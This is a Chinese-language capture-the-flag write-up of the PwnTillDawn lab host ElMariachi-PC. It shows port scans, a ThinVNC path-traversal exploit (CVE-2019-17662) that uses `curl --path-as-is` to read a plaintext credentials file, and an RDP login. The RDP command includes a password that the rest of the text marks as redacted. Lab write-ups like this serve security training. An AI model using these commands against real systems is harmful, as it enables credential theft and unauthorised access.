> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PwnTillDawn — ElMariachi-PC (10.150.150.69) Writeup
- URL: https://taiwanding.com/pwntilldawn-elmariachi-pc-10-150-150-69-writeup/
- Published: 2026-03-25T07:03:26.000Z
- Updated: 2026-07-15T02:50:30.000Z
- Author: Kevin Chen
- Tags: pwntilldawn, CTF, #windows, #ThinVNC

📚 系列文章 · PwnTillDawn 靶機

1. [Snare (10.150.150.18)](https://taiwanding.com/pwntilldawn-snare-10-150-150-18-writeup/)
2. [Portal (10.150.150.12)](https://taiwanding.com/pwntilldawn-portal-10-150-150-12-writeup/)
3. ▸ ElMariachi-PC (10.150.150.69) （本篇）

> **平台**：[PwnTillDawn Online Battlefield](https://online.pwntilldawn.com/?ref=taiwanding.com) by [wizlynx group](https://www.wizlynxgroup.com/?ref=taiwanding.com)   
> **難度**：Easy   
> **作業系統**：Windows 10 (Build 17763)

## 0x00 偵察

### Port Scan

使用 nmap 掃描全 65535 port：

```bash
nmap -Pn -p- 10.150.150.69 --min-rate 3000

```

開放 port 眾多，但有意義的服務如下：

| Port  | Service            | Version                       |
| ----- | ------------------ | ----------------------------- |
| 135   | MSRPC              | Microsoft Windows RPC         |
| 139   | NetBIOS            | Microsoft Windows netbios-ssn |
| 445   | SMB                | Microsoft-DS                  |
| 3389  | RDP                | Microsoft Terminal Services   |
| 5040  | Unknown            | —                             |
| 60000 | **HTTP (ThinVNC)** | Digest Authentication         |

其餘 49664-49670 為 Windows RPC 動態 port，50417 為無關服務。

### 服務版本探測

```bash
nmap -Pn -p 135,139,445,3389,5040,60000 -sV -sC 10.150.150.69

```

RDP 的 NTLM info 洩漏了主機名：

```
Target_Name: ELMARIACHI-PC
Product_Version: 10.0.17763

```

Port 60000 回應了 HTTP 401，Header 中暴露了關鍵資訊：

```
WWW-Authenticate: Digest realm="ThinVNC", qop="auth", nonce="...", opaque="..."

```

確認 port 60000 運行的是 **ThinVNC**，一款輕量級的 Web-based VNC 遠端桌面工具。

### SMB 匿名存取嘗試

```bash
smbclient -L //10.150.150.69 -N
enum4linux -a 10.150.150.69

```

SMB 不允許匿名存取（`NT_STATUS_ACCESS_DENIED`），Null Session 被拒絕。此路不通。

## 0x01 漏洞識別

### ThinVNC 路徑穿越（CVE-2019-17662）

ThinVNC 1.0b1 存在路徑穿越漏洞，Server 端在處理 HTTP 請求的 URL path 時，未對 `../` 進行過濾或正規化，攻擊者可以讀取伺服器上的任意檔案。

最直接的利用方式是讀取 ThinVNC 自身的設定檔 `ThinVnc.ini`，其中包含**明文儲存的帳號密碼**。

## 0x02 漏洞利用

### 路徑穿越取得明文憑證

```bash
curl --path-as-is "http://10.150.150.69:60000/xyz/../../ThinVnc.ini"

```

成功取得設定檔內容：

```ini
[Authentication]
Unicode=0
User=desperado
Password=Redacted
Type=Digest
[Http]
Port=60000
Enabled=1
```

取得憑證：

- **User:** `desperado`
- **Password:** `Redacted`

### 知識點：`--path-as-is` 與路徑穿越

這裡有一個容易踩的坑，如果不加 `--path-as-is`，curl 會在 client 端自動正規化 URL path 中的 `../`：

```bash
# 不加 --path-as-is
curl "http://target/xyz/../../ThinVnc.ini"
# curl 正規化後實際送出 → GET /ThinVnc.ini
# ../  被 client 吃掉，穿越 payload 到不了 server

# 加了 --path-as-is
curl --path-as-is "http://target/xyz/../../ThinVnc.ini"
# 原封不動送出 → GET /xyz/../../ThinVnc.ini
# server 端收到完整的穿越路徑，觸發漏洞

```

**瀏覽器也一樣會正規化 URL path**，所以在瀏覽器網址列貼上穿越 URL 是無效的。

需要注意的是，這只影響 **URL path 中的 `../`**，LFI 的 payload 放在 **query parameter**（如 `?page=../../etc/passwd`）中時，瀏覽器和 curl 都不會動它。

| Payload 位置      | 範例                     | Client 端會正規化？ | 適用工具                            |
| --------------- | ---------------------- | ------------- | ------------------------------- |
| Query parameter | ?page=../../etc/passwd | 不會            | 瀏覽器、curl 皆可                     |
| URL path        | /xyz/../../secret.ini  | **會**         | curl --path-as-is、Burp Repeater |

### RDP 登入

使用取得的帳密透過 RDP 連線：

```bash
xfreerdp /v:10.150.150.69 /u:desperado /p:'TooComplicatedToGuessMeAhahahahahahahh' /cert:ignore /w:1920 /h:1080

```

成功登入桌面，使用者為 `desperado`。

## 0x03 FLAG

FLAG67 在桌面上直接取得。

FLAG67：`Redacted`

## 0x04 攻擊鏈總結

```
Port Scan → 發現 60000/tcp (ThinVNC)
    → CVE-2019-17662 路徑穿越讀取 ThinVnc.ini
    → 取得明文帳密 (desperado)
    → RDP 登入
    → FLAG!

```

### 漏洞清單

| # | 漏洞                                      | 嚴重性      | 說明                                  |
| - | --------------------------------------- | -------- | ----------------------------------- |
| 1 | ThinVNC Path Traversal (CVE-2019-17662) | Critical | URL path 未過濾 ../，可讀取任意檔案            |
| 2 | 明文儲存憑證                                  | High     | ThinVnc.ini 以明文儲存帳號密碼               |
| 3 | 憑證重複使用                                  | Medium   | ThinVNC 帳密與 Windows 使用者帳密相同，可直接 RDP |

## 經驗分享

這是我第一台 Windows 靶機，跟 Linux 靶機相比，Windows 的攻擊面多了 SMB、RDP、WinRM 等服務，偵察階段需要關注的 port 更多。

這台的核心教訓有兩個：

1. **非標準高 port 一定要查清楚** — 如果只掃 top 1000 port 會完全漏掉 60000 上的 ThinVNC，全 port 掃描不能省。
2. **路徑穿越的 payload 在 URL path 時，瀏覽器和 curl 預設都會把 `../` 吃掉** — 必須用 `curl --path-as-is` 或 Burp Repeater 手動編輯 raw request，這跟 LFI 放在 query parameter 裡不同，後者不受影響，之前一直不知道這件事，以後打路徑穿越類的洞要記得。